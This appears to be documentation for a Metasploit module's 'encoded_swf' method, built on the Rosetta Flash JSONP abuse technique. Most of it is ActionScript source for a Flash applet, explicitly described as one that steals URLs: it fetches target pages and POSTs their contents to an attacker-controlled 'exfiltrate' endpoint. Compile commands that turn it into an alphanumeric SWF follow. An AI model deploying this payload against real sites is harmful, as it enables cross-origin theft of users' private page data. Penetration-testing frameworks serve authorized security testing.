metasploit-framework

MetasploitModule#encoded_swf

Based off of http://miki.it/blog/2014/7/8/abusing-jsonp-with-rosetta-flash/

Alphanumeric Flash swf applet that steals URLs. Compiled from the following code:

class X {
  static var app : X;

  function getURL(url:String) {
    var r:LoadVars = new LoadVars();
    r.onData = function(src:String) {
      if (_root.exfiltrate) {
        var w:LoadVars = new LoadVars();
        w.x = url+"\n"+src;
        w.sendAndLoad(_root.exfiltrate, w, "POST");
      }
    }
    r.load(url, r, "GET");
  }

  function X(mc) {
    if (_root.url) {
      var urls:Array = _root.url.split(",");
      for (var i in urls) {
        getURL(urls[i]);
      }
    }
  }

  // entry point
  static function main(mc) {
    app = new X(mc);
  }
}


 Compiling the .as using mtasc and swftool:

 > mtasc.exe -swf out.swf -main -header 800:600:20 exploit.as
 $ swfcombine -d out.swf -o out-uncompressed.swf
 $ rosettaflash --input out-uncompressed.swf --output out-ascii.swf

Source | Google | Stack overflow